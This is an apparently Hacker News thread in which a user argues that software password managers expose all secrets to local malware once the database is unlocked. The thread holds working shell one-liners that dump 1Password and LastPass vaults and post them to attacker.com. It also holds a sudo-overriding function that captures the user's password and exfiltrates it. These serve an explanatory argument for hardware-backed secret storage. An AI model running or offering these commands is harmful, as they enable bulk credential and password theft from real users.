4 ms·
It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malwar
by lrvick 5y ago
It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malware in plain text any time the password database is unlocked.
Here are some trivial examples of how malware can steal credentials in bulk.
Example: Exfiltrate all plaintext credentials from 1password
```
op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=<-' https://attacker.com https://attacker.com >/dev/null 2>&1
```
Example: Exfiltrate all plaintext credentials from lastpass
```
lpass ls | grep -oP '(?<=id: )([0-9]+)' | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- | curl -F 'p=<-' https://attacker.com https://attacker.com >/dev/null 2>&1
```
I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.
Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).
I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.
These offer damage control even when your endpoint is compromised.
- abiro 5y agoI don’t know about Lastpass, but the 1password CLI app is a separate install for sophisticated users and if I’m not mistaken, logins are scoped to the current shell session.
- lrvick 5y agoIt was just the easiest example. Malware on your system could helpfully ship with it or something similar.
- throwaway984393 5y agoVery good point, it's pretty crazy that these systems don't seek authorization for each secret retrieved. Do you have recommendations for software-only solutions that do this? ssh-agent has an option for it, not sure if anything else does (pass?)
- lrvick 5y agoThere can be no pure software solution to this. If your OS is compromised you are hosed without dedicated and trusted external hardware as a gatekeeper.
- jes 5y agoTIL 1Password has a command line tool named op.[1] It requires authenticating with your 1Password credentials and any granted authentication is said to time out after 30 minutes. It looks useful and I'm thinking about downloading it, but if I did, I might not leave the binary as-named and I probably wouldn't locate it in /usr/local/bin, etc. [1] https://support.1password.com/command-line-getting-started https://support.1password.com/command-line-getting-started
- lrvick 5y agoObfuscation is not security. Besides, malware using this approach would just helpfully include the tools they need.
- ghusto 5y ago1. You have to install the 1Password CLI tool (and the LastPass tool?) separately, it is not part of the GUI application 2. It stays unlocked for some duration (I think it was configurable, can't remember), and does _not_ just give away credentials to anything that asks once that duration has passed So yes, you can do what you claim, as long as you first install the CLI tool, and then tell it to stay unlocked for some time. Or you know, just don't do that.
- lrvick 5y agoSomeone that puts malware on your system presumably also can install a CLI tool.
- ghusto 5y agoThey'd have to then unlock your vault too. I see I wasn't as clear as I could have been, but what I also meant was that the CLI doesn't automatically give access to _all the things_ just because it's installed either.
- lrvick 5y agoThe CLI tool is just a simple example to help people understand how easy this is. Real world malware will bring everything it needs with it to wait until your password manager database file is unlocked next, or simply keylog or otherwise intercept the master password. To prove this point once for a client I made a modified Lastpass chrome browser plugin that intercepts the master password on next use. I could write examples for every password manager but instead consider how simply malware can override your sudo command to steal it the next time you use it. No pure software defenses will help against any decent malware. ``` function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1 $realsudo "${@:1}" } ```
- ghusto 5y ago